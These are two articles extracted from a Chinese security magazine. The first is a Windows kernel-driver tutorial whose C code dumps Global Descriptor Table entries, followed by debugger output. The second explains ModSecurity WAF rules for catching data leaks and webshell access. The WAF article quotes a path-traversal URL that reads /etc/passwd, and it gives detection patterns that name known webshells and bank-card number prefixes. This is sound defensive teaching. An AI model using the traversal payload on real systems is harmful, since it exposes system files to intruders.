    //if (gdtr.Pad % sizeof(KIDTENTRY) == 0) { 

    //    maximun = gdtr.Pad / sizeof(KIDTENTRY); 
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    //} else { 

    //    maximun = gdtr.Pad / sizeof(KIDTENTRY); 

    //    maximun++; 

    //} 

    //if (GdtLimit % sizeof(KGDTENTRY64) == 0) { 

    //    maximun = GdtLimit / sizeof(KGDTENTRY64); 

    //} else { 

    //    maximun = GdtLimit / sizeof(KGDTENTRY64); 

    //    maximun++;//一般是 128. 

    //} 

    maximun = (GdtLimit + 1) / sizeof(KGDTENTRY64); 

    /* 

    显示格式： 

    CPU SN Sel        Base              Limit          Type    Pl Size Gran Pres Long 

Flags 

    注释：CPU 和 SN 是自己添加的。SN 即 Segment Name，如 CS、DS、FS 等。 

    */ 

    KdPrint(("Sel        Base             Limit             Type   DPl Size Gran Pres 

Long Flags\n"));//CPU SN  

    KdPrint(("---- ---------------- ---------------- ------------- --- ---- ---- ---- ---- --------\n"));//--- --  

    KdPrint(("\n")); 

    for ( ;index < maximun ;index++ )  

    { 

        PKGDTENTRY64 pkgdte_t = &pkgdte[index]; 

        SIZE_T Base = 0; 

        SIZE_T Limit = 0; 

        ULONG  Type = 0; 

        char * size = NULL; 

        char * Granularity = NULL; 

        char * Present = NULL; 

        char * LongMode = NULL; 

        int    Flags = 0;         

        Base = pkgdte_t->Bits.BaseHigh; 

        Base = (Base << 24); 

        Base += (pkgdte_t->BaseLow + (pkgdte_t->Bits.BaseMiddle << 16)); 

        Limit = pkgdte_t->LimitLow + (pkgdte_t->Bits.LimitHigh << 16); 

        if (pkgdte_t->Bits.DefaultBig && Base) 

        { 

            //扩充高位为 1.即 F. 

            Base += 0xffffffff00000000; 

        }       

        if (pkgdte_t->Bits.DefaultBig && pkgdte_t->Bits.Granularity) 

        { 

            //扩充高位为 1.即 F. 
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            SIZE_T t = Limit; 

            Limit = (Limit << 12); 

            Limit += PAGE_SIZE - 1; 

        }  

        Type = pkgdte_t->Bits.Type; 

        _bittestandreset(&Type, 4);//因为这个包含了 S 位，所以要清除这个位标志。 

        if (pkgdte_t->Bits.DefaultBig) 

        { 

            size = "Bg  ";//Big 加空格是为了对齐显示。 

        } 

        else 

        { 

            size = "Nb  ";//Not Big 加空格是为了对齐显示。 

        } 

        if (pkgdte_t->Bits.Granularity) 

        { 

            Granularity = "Pg  ";//Page 加空格是为了对齐显示。 

        } 

        else 

        { 

            Granularity = "By  ";//Byte 加空格是为了对齐显示。 

        } 

        if (pkgdte_t->Bits.Present) 

        { 

            Present = "P   ";//Present 加空格是为了对齐显示。 

        } 

        else 

        { 

            Present = "NP  ";//NO Present 加空格是为了对齐显示。 

        } 

        if (pkgdte_t->Bits.LongMode) 

        { 

            LongMode = "Lo  ";//Long 加空格是为了对齐显示。 

        } 

        else 

        { 

            LongMode = "Nl  ";//NO long 加空格是为了对齐显示。 

        } 

         

        Flags = (pkgdte_t->Bytes.Flags2 >> 4);//去掉 Segment limit 的那几位。 

        Flags = Flags << 8; 

        Flags = Flags + pkgdte_t->Bytes.Flags1; 

        KdPrint(("%04x %p %p %13s %03x %s %s %s %s 0x%04x\n",  

            index * 8, //sizeof (KGDTENTRY) 
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            Base,  

            Limit, 

            SegmentTypes[Type], 

            pkgdte_t->Bits.Dpl, 

            size, 

            Granularity, 

            Present, 

            LongMode, 

            Flags 

            )); 

    } 

} 

#else  

void show_gdt(int i) 

    /* 

    i 的取值可以是 0. 

    */ 

{ 

    //SIZE_T IDTR; 

    //X86_DESCRIPTOR gdtr = {0};//A pointer to the memory location where the IDTR is stored. 

    //KGDTENTRY * GDT = 0; 

    USHORT GdtLimit = 0; 

    SIZE_T r = 0; 

    PVOID p = 0; 

    int index = 0; 

    int maximun = 0; 

    PKGDTENTRY pkgdte; 

    SIZE_T ISR = 0; 

    KeSetSystemAffinityThread(i + 1); 

    pkgdte = KeGetPcr()->GDT;//没有__sgdt,也不用 sgdt 汇编指令的办法。但是这个获取的没

有长度。 

    GdtLimit = GetGdtLimit ();//一般等于 0x3ff. 

    KeRevertToUserAffinityThread(); 

    //p = &gdtr.Limit; 

    //r = * (SIZE_T *)p; 

    //pkgdte = (PKGDTENTRY)r;  

    /* 

    其实直接： 

    maximun = (idtr.Base + 1) / sizeof(KIDTENTRY); 

    也可以。 

    maximun 一般等于 256. 

    */ 

    //if (gdtr.Pad % sizeof(KIDTENTRY) == 0) { 

    //    maximun = gdtr.Pad / sizeof(KIDTENTRY); 

HACKER DEFENCE◆44◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



 

    //} else { 

    //    maximun = gdtr.Pad / sizeof(KIDTENTRY); 

    //    maximun++; 

    //} 

    if (GdtLimit % sizeof(KGDTENTRY) == 0) { 

        maximun = GdtLimit / sizeof(KGDTENTRY); 

    } else { 

        maximun = GdtLimit / sizeof(KGDTENTRY); 

        maximun++;//一般是 128. 

    } 

    /* 

    显示格式：     

    CPU SN Sel        Base              Limit          Type    Pl Size Gran Pres Long 

Flags 

    --- -- ---- ----------------- ----------------- ---------- -- ---- ---- ---- ---- -------- 

    注释：CPU 和 SN 是自己添加的。SN 即 Segment Name,如：CS，DS，FS 等. 

    */ 

    KdPrint(("Sel  Base             Limit          Type DPl Size Gran Pres Long 

Flags\n"));//CPU SN  

    KdPrint(("---- -------- ------------- ------------- --- ---- ---- ---- ---- --------\n"));//--- --  

    KdPrint(("\n")); 

    for ( ;index < maximun ;index++ )  

    { 

        PKGDTENTRY pkgdte_t = &pkgdte[index]; 

        SIZE_T Base = 0; 

        SIZE_T Limit = 0; 

        ULONG  Type = 0; 

        char * size = NULL; 

        char * Granularity = NULL; 

        char * Present = NULL; 

        char * LongMode = NULL; 

        int    Flags = 0;    

        //注意：0x38 处的值不停的变化。 

        USHORT  BaseLow = pkgdte_t->BaseLow; 

        ULONG   BaseMid = pkgdte_t->HighWord.Bits.BaseMid; 

        ULONG   BaseHi = pkgdte_t->HighWord.Bits.BaseHi; 

        Base = (BaseHi << 24) + (BaseMid << 16) + BaseLow;//其实用位与更快 | 。 

        if (pkgdte_t->HighWord.Bits.Granularity && 

BooleanFlagOn(pkgdte_t->HighWord.Bits.Type, 2 ) ) {//关于标志位及算法，见权威资料。 

            Limit = pkgdte_t->LimitLow + (pkgdte_t->HighWord.Bits.LimitHi << 16); 

            Limit *= PAGE_SIZE; 

            Limit += PAGE_SIZE - 1; 

        } else { 

            Limit = pkgdte_t->LimitLow + (pkgdte_t->HighWord.Bits.LimitHi << 16); 
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        } 

        Type = pkgdte_t->HighWord.Bits.Type; 

        _bittestandreset(&Type, 4);//因为这个包含了 S 位，所以要清除这个位标志。 

        if (pkgdte_t->HighWord.Bits.Default_Big) 

        { 

            size = "Bg  ";//Big 加空格是为了对齐显示。 

        } 

        else 

        { 

            size = "Nb  ";//Not Big 加空格是为了对齐显示。 

        } 

        if (pkgdte_t->HighWord.Bits.Granularity) 

        { 

            Granularity = "Pg  ";//Page 加空格是为了对齐显示。 

        } 

        else 

        { 

            Granularity = "By  ";//Byte 加空格是为了对齐显示。 

        } 

        if (pkgdte_t->HighWord.Bits.Pres) 

        { 

            Present = "P   ";//Present 加空格是为了对齐显示。 

        } 

        else 

        { 

            Present = "NP  ";//NO Present 加空格是为了对齐显示。 

        } 

        if (pkgdte_t->HighWord.Bits.Reserved_0) 

        { 

            LongMode = "Lo  ";//Long 加空格是为了对齐显示。 

        } 

        else 

        { 

            LongMode = "Nl  ";//NO long 加空格是为了对齐显示。 

        } 

         

        Flags = (pkgdte_t->HighWord.Bytes.Flags2 >> 4);//去掉 Segment limit 的那几位。 

        Flags = Flags << 8; 

        Flags = Flags + pkgdte_t->HighWord.Bytes.Flags1; 

        KdPrint(("%04x %p %p %13s %03x %s %s %s %s 0x%04x\n",  

            index * 8, //sizeof (KGDTENTRY) 

            Base,  

            Limit, 

            SegmentTypes[Type], 
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            pkgdte_t->HighWord.Bits.Dpl, 

            size, 

            Granularity, 

            Present, 

            LongMode, 

            Flags 

            )); 

    } 

} 

#endif 

 

#pragma INITCODE 

DRIVER_INITIALIZE DriverEntry; 

NTSTATUS DriverEntry(__in struct _DRIVER_OBJECT * DriverObject, __in PUNICODE_STRING 

RegistryPath) 

{ 

    int i = 0; 

    KdBreakPoint(); 

    DriverObject->DriverUnload = DriverUnload; 

    for ( ;i < KeNumberProcessors ;i++ )//KeQueryMaximumProcessorCount()  

KeGetCurrentProcessorNumber 

    {         

        show_gdt(i);         

    } 

    return STATUS_SUCCESS; 

}  

 

 结果及验证如下： 

 32 位 Windows 的结果： 

 

kd> g 

Sel  Base             Limit          Type DPl Size Gran Pres Long Flags 

---- -------- ------------- ------------- --- ---- ---- ---- ---- -------- 

0000 00000000 00000000    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0008 00000000 FFFFFFFF    Code RE AC 000 Bg   Pg   P    Nl   0x0c9b 

0010 00000000 FFFFFFFF    Data RW AC 000 Bg   Pg   P    Nl   0x0c93 

0018 00000000 FFFFFFFF    Code RE AC 003 Bg   Pg   P    Nl   0x0cfb 

0020 00000000 FFFFFFFF    Data RW AC 003 Bg   Pg   P    Nl   0x0cf3 

0028 80042000 000020AB    Code RE AC 000 Nb   By   P    Nl   0x008b 

0030 FFDFF000 00001FFF    Data RW AC 000 Bg   Pg   P    Nl   0x0c93 

0038 00000000 00000FFF    Data RW AC 003 Bg   By   P    Nl   0x04f3 

0040 00000400 0000FFFF       Data RW 003 Nb   By   P    Nl   0x00f2 

0048 00000000 00000000    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0050 80552700 00000068    Code EO AC 000 Nb   By   P    Nl   0x0089 
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0058 80552768 00000068    Code EO AC 000 Nb   By   P    Nl   0x0089 

0060 00022F40 0000FFFF    Data RW AC 000 Nb   By   P    Nl   0x0093 

0068 000B8000 00003FFF       Data RW 000 Nb   By   P    Nl   0x0092 

0070 FFFF7000 000003FF       Data RW 000 Nb   By   P    Nl   0x0092 

0078 80400000 0000FFFF       Code RE 000 Nb   By   P    Nl   0x009a 

0080 80400000 0000FFFF       Data RW 000 Nb   By   P    Nl   0x0092 

0088 00000000 00000000       Data RW 000 Nb   By   P    Nl   0x0092 

0090 00000000 00000000    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0098 00000000 00000000    <Reserved> 000 Nb   By   NP   Nl   0x0000 

00a0 823816B8 00000068    Code EO AC 000 Nb   By   P    Nl   0x0089 

00a8 00000000 00000000    <Reserved> 000 Nb   By   NP   Nl   0x0000 

00b0 00000000 00000000    <Reserved> 000 Nb   By   NP   Nl   0x0000 

00b8 00000000 00000000    <Reserved> 000 Nb   By   NP   Nl   0x0000 

00c0 00000000 00000000    <Reserved> 000 Nb   By   NP   Nl   0x0000 

00c8 00000000 00000000    <Reserved> 000 Nb   By   NP   Nl   0x0000 

00d0 00000000 00000000    <Reserved> 000 Nb   By   NP   Nl   0x0000 

00d8 00000000 00000000    <Reserved> 000 Nb   By   NP   Nl   0x0000 

00e0 F850F000 0000FFFF Code RE CO AC 000 Nb   By   P    Nl   0x009f 

00e8 00000000 0000FFFF       Data RW 000 Nb   By   P    Nl   0x0092 

00f0 804FD040 000003B7       Code EO 000 Nb   By   P    Nl   0x0098 

00f8 00000000 0000FFFF       Data RW 000 Nb   By   P    Nl   0x0092 

0100 BA4D2400 0000FFFF    Data RW AC 000 Bg   By   P    Nl   0x0493 

0108 BA4D2400 0000FFFF    Data RW AC 000 Bg   By   P    Nl   0x0493 

0110 BA4D2400 0000FFFF    Data RW AC 000 Bg   By   P    Nl   0x0493 

0118 00008003 0000F120    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0120 00008003 0000F128    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0128 00008003 0000F130    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0130 00008003 0000F138    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0138 00008003 0000F140    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0140 00008003 0000F148    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0148 00008003 0000F150    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0150 00008003 0000F158    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0158 00008003 0000F160    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0160 00008003 0000F168    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0168 00008003 0000F170    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0170 00008003 0000F178    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0178 00008003 0000F180    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0180 00008003 0000F188    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0188 00008003 0000F190    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0190 00008003 0000F198    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0198 00008003 0000F1A0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

01a0 00008003 0000F1A8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

01a8 00008003 0000F1B0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

01b0 00008003 0000F1B8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

HACKER DEFENCE◆48◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



 

01b8 00008003 0000F1C0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

01c0 00008003 0000F1C8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

01c8 00008003 0000F1D0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

01d0 00008003 0000F1D8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

01d8 00008003 0000F1E0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

01e0 00008003 0000F1E8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

01e8 00008003 0000F1F0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

01f0 00008003 0000F1F8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

01f8 00008003 0000F200    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0200 00008003 0000F208    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0208 00008003 0000F210    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0210 00008003 0000F218    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0218 00008003 0000F220    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0220 00008003 0000F228    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0228 00008003 0000F230    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0230 00008003 0000F238    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0238 00008003 0000F240    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0240 00008003 0000F248    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0248 00008003 0000F250    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0250 00008003 0000F258    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0258 00008003 0000F260    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0260 00008003 0000F268    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0268 00008003 0000F270    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0270 00008003 0000F278    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0278 00008003 0000F280    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0280 00008003 0000F288    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0288 00008003 0000F290    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0290 00008003 0000F298    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0298 00008003 0000F2A0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

02a0 00008003 0000F2A8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

02a8 00008003 0000F2B0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

02b0 00008003 0000F2B8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

02b8 00008003 0000F2C0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

02c0 00008003 0000F2C8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

02c8 00008003 0000F2D0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

02d0 00008003 0000F2D8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

02d8 00008003 0000F2E0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

02e0 00008003 0000F2E8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

02e8 00008003 0000F2F0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

02f0 00008003 0000F2F8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

02f8 00008003 0000F300    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0300 00008003 0000F308    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0308 00008003 0000F310    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0310 00008003 0000F318    <Reserved> 000 Nb   By   NP   Nl   0x0000 
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0318 00008003 0000F320    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0320 00008003 0000F328    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0328 00008003 0000F330    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0330 00008003 0000F338    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0338 00008003 0000F340    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0340 00008003 0000F348    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0348 00008003 0000F350    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0350 00008003 0000F358    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0358 00008003 0000F360    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0360 00008003 0000F368    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0368 00008003 0000F370    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0370 00008003 0000F378    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0378 00008003 0000F380    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0380 00008003 0000F388    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0388 00008003 0000F390    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0390 00008003 0000F398    <Reserved> 000 Nb   By   NP   Nl   0x0000 

0398 00008003 0000F3A0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

03a0 00008003 0000F3A8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

03a8 00008003 0000F3B0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

03b0 00008003 0000F3B8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

03b8 00008003 0000F3C0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

03c0 00008003 0000F3C8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

03c8 00008003 0000F3D0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

03d0 00008003 0000F3D8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

03d8 00008003 0000F3E0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

03e0 00008003 0000F3E8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

03e8 00008003 0000F3F0    <Reserved> 000 Nb   By   NP   Nl   0x0000 

03f0 00008003 0000F3F8    <Reserved> 000 Nb   By   NP   Nl   0x0000 

03f8 00000000 00000000    <Reserved> 000 Nb   By   NP   Nl   0x0000 

 

 64 位 Windows 的结果： 

 

0: kd> g 

Sel        Base             Limit             Type   DPl Size Gran Pres Long Flags 

---- ---------------- ---------------- ------------- --- ---- ---- ---- ---- -------- 

 

0000 0000000000000000 0000000000000000    <Reserved> 000 Nb   By   NP   Nl   

0x0000 

0008 0000000000000000 0000000000000000    <Reserved> 000 Nb   By   NP   Nl   

0x0000 

0010 0000000000000000 0000000000000000    Code RE AC 000 Nb   By   P    Lo   

0x029b 

0018 0000000000000000 00000000FFFFFFFF    Data RW AC 000 Bg   Pg   P    Nl   

0x0c93 
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0020 0000000000000000 00000000FFFFFFFF    Code RE AC 003 Bg   Pg   P    Nl   0x0cfb 

0028 0000000000000000 00000000FFFFFFFF    Data RW AC 003 Bg   Pg   P    Nl   

0x0cf3 

0030 0000000000000000 0000000000000000    Code RE AC 003 Nb   By   P    Lo   

0x02fb 

0038 0000000000000000 0000000000000000    <Reserved> 000 Nb   By   NP   Nl   

0x0000 

0040 0000000001D52080 0000000000000067    Code RE AC 000 Nb   By   P    Nl   

0x008b 

0048 000000000000FFFF 000000000000F800    <Reserved> 000 Nb   By   NP   Nl   

0x0000 

0050 FFFFFFFFFFFA0000 0000000000003C00    Data RW AC 003 Bg   By   P    Nl   

0x04f3 

0058 0000000000000000 0000000000000000    <Reserved> 000 Nb   By   NP   Nl   

0x0000 

0060 0000000000000000 00000000FFFFFFFF       Code RE 000 Bg   Pg   P    Nl   

0x0c9a 

0068 0000000000000000 0000000000000000    <Reserved> 000 Nb   By   NP   Nl   

0x0000 

0070 0000000000000000 0000000000000000    <Reserved> 000 Nb   By   NP   Nl   

0x0000 

0078 0000000000000000 0000000000000000    <Reserved> 000 Nb   By   NP   Nl   

0x0000 

Sel        Base             Limit             Type   DPl Size Gran Pres Long Flags 

---- ---------------- ---------------- ------------- --- ---- ---- ---- ---- -------- 

 

0000 0000000000000000 0000000000000000    <Reserved> 000 Nb   By   NP   Nl   

0x0000 

0008 0000000000000000 0000000000000000    <Reserved> 000 Nb   By   NP   Nl   

0x0000 

0010 0000000000000000 0000000000000000    Code RE AC 000 Nb   By   P    Lo   

0x029b 

0018 0000000000000000 00000000FFFFFFFF    Data RW AC 000 Bg   Pg   P    Nl   

0x0c93 

0020 0000000000000000 00000000FFFFFFFF    Code RE AC 003 Bg   Pg   P    Nl   0x0cfb 

0028 0000000000000000 00000000FFFFFFFF    Data RW AC 003 Bg   Pg   P    Nl   

0x0cf3 

0030 0000000000000000 0000000000000000    Code RE AC 003 Nb   By   P    Lo   

0x02fb 

0038 0000000000000000 0000000000000000    <Reserved> 000 Nb   By   NP   Nl   

0x0000 

0040 00000000009F7E40 0000000000000067    Code RE AC 000 Nb   By   P    Nl   

0x008b 

0048 000000000000FFFF 000000000000F880    <Reserved> 000 Nb   By   NP   Nl   
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0x0000 

0050 FFFFFFFFFFFE0000 0000000000007C00    Data RW AC 003 Bg   By   P    Nl   

0x04f3 

0058 0000000000000000 0000000000000000    <Reserved> 000 Nb   By   NP   Nl   

0x0000 

0060 0000000000000000 00000000FFFFFFFF       Code RE 000 Bg   Pg   P    Nl   

0x0c9a 

0068 0000000000000000 0000000000000000    <Reserved> 000 Nb   By   NP   Nl   

0x0000 

0070 0000000000000000 0000000000000000    <Reserved> 000 Nb   By   NP   Nl   

0x0000 

0078 0000000000000000 0000000000000000    <Reserved> 000 Nb   By   NP   Nl   

0x0000 

 

 这里显示 2 个，是因为有两颗 CPU。细心的你应该（从对比中）还会发现一些不足和不

一样的地方，期待你的改正，剩下的任务也就是你要改正的地方。如添加显示 CPU 的个数，

及段的名字（特别是系统段，各种门）等。不当之处，敬请指出。 

（完） 
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WAF 另类应用之 DLP 与 Webshell 访问检测 

  文/图 xysky 

在 wooyun 网站上搜索“敏感信息泄露”，会发现很多大型企业都有被暴过漏洞。印象比

较深的是“猪猪侠”报的那个关于携程安全支付日志导致大量用户银行卡信息泄露。这里我

们不谈 PCI，不谈开发标准和规范，我们来说一下 WAF 在这方面的应用。WAF 除了防护常规

的 web 攻击请求外，还可以对返回给用户的信息进行检测处理，这就是我们今天这篇文章想

介绍的，一个是在信息泄露方面，一个是在 webshell 检测方面。 

 

WAF 应用之 DLP 

在什么情况下会有信息泄漏？可能是被恶意攻击者利用比如 SQL 注入返回一些数据库

错误信息或者数据库里的用户信息，可能是运维人员配置不对导致列目录，也有可能是开发

人员无意导致比如为了测试开启了调试日志忘了关闭，甚至是内部人员故意放一些信息想通

过 web 弄走。总之，各种可能都存在，防不胜防。下面我们结合开源 WAF 模块 modsecurity

来配置一下。 

1）开启响应内容检测 

默认情况下，modsecurity 不会处理响应体内容。想要对响应进行检测，需要配置一些

指令。 

SecResponseBodyAccess On 

SecResponseBodyMimeType (null) text/plain text/html text/xml 

SecResponseBodyLimit 524288 

SecResponseBodyLimitAction ProcessPartial 

第一条指令是允许 modsecurity 访问响应体内容，第二条指令是设置要检测的

Content-Type，第三条指令是设置返回给客户端的响应体最大值，第四条指令设置当返回给

客户端的响应体长度太大时的响应动作。 

2）检测目录遍历导致的信息泄露 

场景：某网站未配置禁止目录浏览功能，导致一些信息可以被黑客访问并下载，如图 1

所示。 
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图 1 

 这个特征比较明显，返回的 title是 Index of，同时页面内容中有 Index of 字样。写

一条规则内容如下： 

#  Directory Listing 

SecRule RESPONSE_BODY "(?:<(?:TITLE>Index of.*?<H|title>Index of.*?<h)1>Index 

of|>\[To Parent Directory\]<\/[Aa]><br>)" \ 

        "phase:4,t:none,capture,ctl:auditLogParts=+E,block,msg:'Found 

Directory Listing',logdata:'Matched Data: %{TX.0} found 

within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',id:'970013'" 

 再次访问的时候会在 apache 错误日志中出现如图 2 所示的信息。 

 

图 2 

3）检测文件包含漏洞导致的信息泄露 

场 景 ： 某 网 站 存 在 本 地 文 件 包 含 漏 洞 ， 攻 击 者 访 问

http://vulnerable_host/preview.php?file=../../../../etc/passwd%00 的时候，服务器

将本机/etc/passwd 内容返回了，如图 3 所示。 
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图 3 

 Linux 系统的/etc/passwd 是有共性的，我们简单的取一下即可以检测到此种漏洞发生

了，规则内容： 

# /etc/passwd 

SecRule RESPONSE_BODY "\b(root:x:0:0)" \ 

        "phase:4,t:none,capture,ctl:auditLogParts=+E,block,msg:'Found 

Passwd File Leakage',logdata:'Matched Data: %{TX.0} found 

within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',id:'99007'" 

 再次访问会看到如图 4所示的告警信息。 

 
图 4 

4）检测身份证、银行卡号、手机号等敏感信息泄露 

前面都是配置、代码方面的漏洞导致，很容易发现与修复。很多正规公司开发和运维是

分开的，生产上的数据会进行严格的管控。如果开发人员想把一些生产上的敏感数据弄走，

会想很多种办法，网站需要对外发布供互联网访问，开发人员也可以借此来操作。我们假设

在 WAF 配置了仅仅只允许请求白名单里的后辍文件比如.js、.css、.jpg、.jpeg、.aspx 等

等 ， 开 发 者 在 代 码 里 设 置 下 陷 阱 比 如 当 请 求 test.aspx? 

guid=770cae94-4f3d-4213-974e-5ab3be9f014e 这样一个 url的时候，会将一些敏感信息显

示在页面中，这种情况依靠 WAF 对响应体内容进行分析就很有必要了。Modsecurity 提供了

针对信用卡包括 Visa、MasterCard、JCB 等的检测，verifyCC 就是干这个的。注意，这个

verifyCC 除了正则匹配外，还用到 LUHN 算法来减少误报。银行卡号是不符合这个算法要求

的，所以我们不用 verifyCC，只用正则就可以了。各银行卡都是有一定规律的，我们随便

搞些卡号来测试一下，访问某页面会输出卡号，如图 5 所示。 
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图 5 

 我们写上一条规则如下： 

# Detect XX BankCard 

SecRule RESPONSE_BODY "\b((622525|622526|435744|526855)\d{10})" \ 

        "phase:4,t:none,capture,ctl:auditLogParts=+E,block,msg:'Found Bank 

Card Number leakage',logdata:'Matched Data: %{TX.0} found 

within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',id:'99008'" 

 再次访问会看到如图 6所示的告警信息。 

 
图 6 

 检测身份证也是一样的，只不过需要注意身份证有 18 位和 15 位两种情况，手机号主要

是检测前面号段比如 139 之类，具体规律在网上搜索即可。在实际情况下，可以将规则变的

更复杂一些，比如匹配银行卡号次数超过多少次才报警。最后，提醒一下，我们在错误日志、

调试日志里记录发现的敏感卡号信息，这也是不符合 PCI 规范的，我这里主要是为了演示需

要。 

 

WAF 应用之检测 webshell 访问 

在我们的传统思维里，WAF 对于一个已经存在的 webshell 是没有办法进行检测的，你

去咨询各大 WAF 厂商，其回答也是诸如此类。其实不然，Webshell 自身是会有一些特征比

如版权、作者信息等，另外在 webshell 使用过程中会有一些特征。Modseucrity 的 crs 规

则有一个文件能干这事，modsecurity_crs_45_trojans.conf，其检测 webshell 的内容如下： 

SecRule RESPONSE_BODY 

"(?:<title>[^<]*?(?:\b(?:(?:c(?:ehennemden|gi-telnet)|gamma web 

shell)\b|imhabirligi phpftp)|(?:r(?:emote explorer|57shell)|aventis 

klasvayv|zehir)\b|\.::(?:news remote php shell injection::\.| 

rhtools\b)|ph(?:p(?:(?: 

commander|-terminal)\b|remoteview)|vayv)|myshell)|\b(?:(?:(?:microsoft 

windows\b.{0,10}?\bversion\b.{0,20}?\(c\) copyright 1985-.{0,10}?\bmicrosoft 
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corp|ntdaddy v1\.9 - obzerve \| fux0r inc)\.|(?:www\.sanalteror\.org - indexer and 

read|haxplor)er|php(?:konsole| shell)|c99shell)\b|aventgrup\.<br>|drwxr))" \     

"phase:4,rev:'2',ver:'OWASP_CRS/2.2.6',maturity:'8',accuracy:'8',t:none,ctl:aud

itLogParts=+E,block,msg:'Backdoor access',logdata:'Matched Data: %{TX.0} found 

within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',capture,id:'950922',tag:'OWASP_CRS/

MALICIOUS_SOFTWARE/TROJAN',tag:'WASCTC/WASC-01',tag:'OWASP_TOP_10/A7',tag:'PCI/

5.1.1',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.trojan_score=+1,setva

r:tx.anomaly_score=+%{tx.error_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/MA

LICIOUS_SOFTWARE/TROJAN-%{matched_var_name}=%{matched_var}" 

 这是老外的，我们结合实际情况加入一些平时收集到的特征，比如版本信息： 

<title>80sec 

<title>PH4ckP 

- c99madshell</title> 

<title>JspSpy Codz By - Ninty</title>< 

<title>ASPXspy</title> 

Phpspy 

 还有一些作者信息： 

K1r4 @ gmail. com 

http://www.rootkit.net.cn 

